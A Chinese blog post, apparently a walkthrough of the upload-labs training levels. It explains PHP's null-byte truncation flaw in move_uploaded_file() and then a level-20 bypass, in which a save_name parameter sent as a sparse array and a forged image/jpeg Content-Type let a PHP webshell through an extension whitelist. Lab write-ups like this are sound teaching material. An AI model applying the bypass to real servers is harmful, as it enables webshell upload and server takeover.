
该漏洞主要影响的php版本在5.4.38~5.6.6 之间,该漏洞存在于 PHP 的 move_uploaded_file() 函数的实现中,该函数用于将上传的文件移动到目标位置。在受影响的版本中,当遇到一个 \x00 字符(空字节)时,move_uploaded_file() 函数会在此处截断路径名称。

攻击者可以利用这个漏洞来绕过预期的文件扩展名限制,通过传递精心构造的第二个参数来创建具有意外名称的文件。通过在文件名中插入 \x00 字符,攻击者可以让 move_uploaded_file() 函数在此处截断路径名,并将文件保存到意外的位置或以意外的名称保存。

这个漏洞的根源是之前 CVE-2006-7243 漏洞的修复不完整所导致的。因此,攻击者可以利用这个修复不完整的情况来绕过文件扩展名限制。

掌握漏洞的知识和技术可以为渗透测试人员提供关键的见解和工具,以评估系统的安全性并帮助加强其防护措施。了解漏洞可以帮助发现系统中的弱点,从而能够提供更准确的评估和建议,以提高系统的安全性。渗透测试人员有责任通过合法的途径和合适的权限进行安全测试,以保护系统和数据的完整性。对系统和数据进行未经授权的访问、损害或窃取是违法行为,且会对个人和组织造成严重的法律后果。

关于%00截断,在pass-11和pass-12的时候我们已经接触过了,在前也一直强调过,在使用截断攻击时候,一定是要在上传路径暴露的情况下才能执行,而其中的缘由,也在此刻揭晓,%00截断就是一个php早期版本的一个漏洞,其实漏洞无时无刻在产生,在今后的学习中,要善于去总结和分析。

最后在用%00截断来为这一关卡,画上一个完美的句号吧。

image-20230906005656871

通关完成。

文件上传漏洞-第二十关 (数组上传)

思路

image-20230905220952546

源码分析
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

该源码的大致流程如下:

  1. 首先,检查是否有上传文件:if (!empty($_FILES['upload_file']))
  2. 如果有上传文件,则继续执行验证和操作;否则,跳转到步骤 10。
  3. 验证文件的 MIME 类型是否在允许的类型列表中:in_array($_FILES['upload_file']['type'], $allow_type)
  4. 检查用户是否提供了自定义的保存文件名:$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']
  5. 如果没有自定义文件名,使用原始上传文件的名称。
  6. 使用explode()函数以.为分隔符将文件名和扩展名分为两个字符串数组,并吧文件名转为小写
  7. 提取文件的扩展名:$ext = end($file)
  8. 检查文件的扩展名是否在允许的后缀名列表中:in_array($ext, $allow_suffix)
  9. 使用原始文件名和提取的扩展名构建完整的文件路径:$file_name = reset($file) . '.' . $file[count($file) - 1]
  10. 获取上传文件的临时路径:$temp_file = $_FILES['upload_file']['tmp_name']
  11. 构建上传文件的完整路径:$img_path = UPLOAD_PATH . '/' . $file_name
  12. 将临时文件移动到指定的完整路径:move_uploaded_file($temp_file, $img_path)

分析完源码,发现该源码将文件名使用explode()函数分成了两个字符串数组,并使用strtolower()将它们都转化成了小写,并赋值给了$file变量。这里就是这段源码的核心。

在该源码,还对文件的mime类型做了限定,但是都已经是白名单了,做MIME限定感觉还是有点多余,因为白名单已经比它更有效的防止了恶意文件的上传,而MIME对恶意文件的方法十分不可靠,非常容易被绕过,还额外的增加了服务器的开销,对于防止恶意文件上传的作业微乎其微,

$file这个变量经过explode()赋值后,变成一个数组,其中$file[0]的值是文件名,$file[1]的值就是后缀,在经过$ext = end($file)函数,把$file数组最后一个值也就是后缀,提取出来再做白名单判断。

那么我只要保证$file数组的最后一个值是白名单范围之内,不就可以绕过了吗。在这里它使用了post[save_name]来接收了表单里接收的文件名,那么我只要在请求体重,而且并没有对该值做更多的限制,理论成立,开始实践测试。

攻击思路

还是老规矩,上传一个php后缀webshell文件,打开burpsuite拦截请求包。

image-20230906141830813

在请求体中发现,POST[save_name]的请求只有一条,content-type的值是application/octet-txt 二进制文件,在此我们需要修改content-type的值为image/jpeg,还有在添加一条POST[save_name]的请求。

image-20230906142348153

直接放包,查看结果

image-20230906142814080
文件上传成功,现在只差最后一步,解析webshell就可以完成攻击。

image-20230906143759133

What?找不到文件,这是哪里出错了吗,理论来说,这时应该就可以访问webshell了。

经过进一步的研究,发现$file_name = reset($file) . '.' . $file[count($file) - 1];最终问题出现在这里,

第一个reset($file) 它是获取了数组的首元素等于$file[0],而count($file)-1则是获取数据的所有元素总和后再减一也就2-1,等于1它获取的是$file[1],在我们更改修改请求体时,$file[0]的值是upload-20.php,而$file[1]的值是jpg,它们拼接起来就是upload-20.php.jpg,我们来测试一下。

image-20230906143816381

理解正确,现在是成功访问到我们刚才上传的文件,但是现在还存在一个问题,我们无法去解析该webshell,难道又要和pass-18关一样,去作弊完成?

在一番冥思苦想后,想到了一个办法,在源码中并没有限制$file数组中元素的数量,而且它是通过end()的函数去获取数组中,最后一个元素作为后缀,那么我是不是可以在,中间在添加一个元素,并让里面的值为空。在此我又要介绍一个php的特性。

在php中有一种"稀疏数组"特性。所谓的稀疏数组是指数组中可以跳过某些键名而不对它们赋值。

在PHP数组中我们可以直接赋值到指定的键名,那么它就会创建一个关联数组,并将键和值进行关联。但是,如果跳过某些键名而没有给它们赋值,那么它们的值会被默认设置为空(null)

简单的说,就是我们创建一个$file的数组,我只对[0][2]元素进行复制,那么它就是一个关联数组,并且[1]的值会被默认为null. 理论是存在的,我们需要用实践来验证理论。

image-20230906145249761

完美解决,成功通关。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值